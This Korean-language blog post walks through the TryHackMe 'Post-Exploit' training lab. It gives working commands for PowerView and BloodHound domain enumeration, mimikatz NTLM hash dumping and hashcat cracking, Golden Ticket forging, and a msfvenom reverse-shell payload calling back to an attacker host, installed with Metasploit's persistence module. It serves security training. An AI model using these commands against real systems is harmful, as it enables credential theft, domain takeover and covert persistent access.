후침투 기초: Hash 덤프, 패스워드 크래킹, 권한 상승 및 유지

본 문서는 TryHackMe의 "Post-Exploit" 룸을 기반으로 후침투 기법을 설명합니다. Powerview, BloodHound, mimikatz, msfvenom 등 주요 도구를 활용한 실습 위주로 구성되어 있습니다.

1. Powerview를 활용한 도메인 정보 수집

Powerview는 PowerSploit 프레임워크의 PowerShell 스크립트로, 도메인 내 정보 수집에 특화되어 있습니다. SSH로 대상 시스템에 접근한 뒤 활용합니다.

# SSH 접속
ssh Administrator@10.10.119.28
# 비밀번호: P@$$W0rd
# DNS 등록 (선택 사항)
echo "10.10.119.28 CONTROLLER.local" >> /etc/hosts

PowerShell 실행 정책 우회 후 스크립트를 로드합니다.

powershell -ep bypass
Set-ExecutionPolicy Bypass -Scope Process
. .\PowerView.ps1

다음 명령어로 간단한 도메인 열거를 수행합니다.

  • Get-NetUser | select cn : 도메인 사용자 목록
  • Get-NetGroup -GroupName *admin* : 관리자 그룹 정보
  • Invoke-ShareFinder : 공유 폴더 탐색
  • Get-NetComputer -fulldata | select operatingsystem : 운영체제 정보
  • Get-NetUser -SPN | select cn : Kerberoastable 사용자 식별

2. BloodHound를 이용한 시각적 네트워크 분석

BloodHound는 Neo4j 데이터베이스 기반의 그래프 분석 도구입니다. SharpHound 수집기로 데이터를 수집한 뒤 GUI에서 분석합니다.

SharpHound 배포 및 실행

# 최신 SharpHound.exe 다운로드 후 전송
scp SharpHound.exe Administrator@10.10.119.28:SharpHound.exe
# 대상에서 수집 실행
. .\SharpHound.exe --collectionmethods All --domain CONTROLLER.local --zipfilename loot.zip

결과 파일 전송 및 분석

# 공격자 PC로 전송
scp Administrator@10.10.119.28:20221018104615_loot.zip .
# BloodHound GUI 실행 (Neo4j 먼저 실행)
neo4j console
bloodhound

BloodHound 대시보드에서 수집된 zip 파일을 드래그 앤 드롭하여 데이터를 로드합니다. "Analysis" 탭의 사전 정의된 쿼리를 활용해 권한 상승 경로를 탐색합니다.

3. Mimikatz를 활용한 NTLM Hash 덤프 및 크래킹

Mimikatz는 Windows 시스템에서 자격 증명 추출에 가장 많이 사용되는 도구입니다.

Hash 추출

cd Downloads && mimikatz.exe
privilege::debug
lsadump::lsa /patch

출력된 NTLM Hash 중 타겟 계정의 값을 복사합니다.

Hashcat을 통한 크래킹

# hash.txt 파일에 추출한 해시 저장
echo "Administrator:500:...:..." > hash.txt
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

4. Golden Ticket 공격

KRBTGT 계정의 Hash와 SID를 추출하여 아무 도메인 계정의 TGT를 위조합니다.

# KRBTGT 정보 추출
lsadump::lsa /inject /name:krbtgt
# Golden Ticket 생성
kerberos::golden /user:Administrator /domain:CONTROLLER.local /sid:S-1-5-21-... /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500

Ticket 생성 후 misc::cmd 명령어로 새로운 cmd 창을 열면 해당 세션은 모든 도메인 리소스에 접근 가능합니다.

5. 서버 관리자 도구를 이용한 정보 수집

RDP를 통해 서버에 접속 후 서버 관리자(Server Manager)의 내장 기능을 활용합니다.

rdesktop -u Administrator -d CONTROLLER 10.10.48.45
# 비밀번호: P@$$W0rd

서버 관리자 > 도구 > "Active Directory 사용자 및 컴퓨터"에서 사용자 설명(Description) 필드를 확인합니다. 관리자 실수로 서비스 계정 비밀번호가 노출된 사례를 발견할 수 있습니다.

6. 지속적 접근(Persistence) 확보

Metasploit의 persistence 모듈을 활용하여 시스템 재부팅 후에도 연결이 유지되도록 설계합니다.

Payload 생성 및 전송

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.14.32.186 LPORT=4444 -f exe -o shell.exe
scp shell.exe Administrator@10.10.48.45:shell.exe

Listener 설정

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.14.32.186
run

대상에서 shell.exe 실행 후 세션이 생성되면 bg 명령어로 백그라운드로 보냅니다.

Persistence 모듈 적용

use exploit/windows/local/persistence
set session 5
set LHOST 10.14.32.186
run

성공 시 VBS 스크립트와 레지스트리 Run 키가 생성되어 시스템 시작 시 자동 실행됩니다.

참고 자료

태그: Powerview BloodHound Mimikatz hashcat GoldenTicket

7월 3일 18:37에 게시됨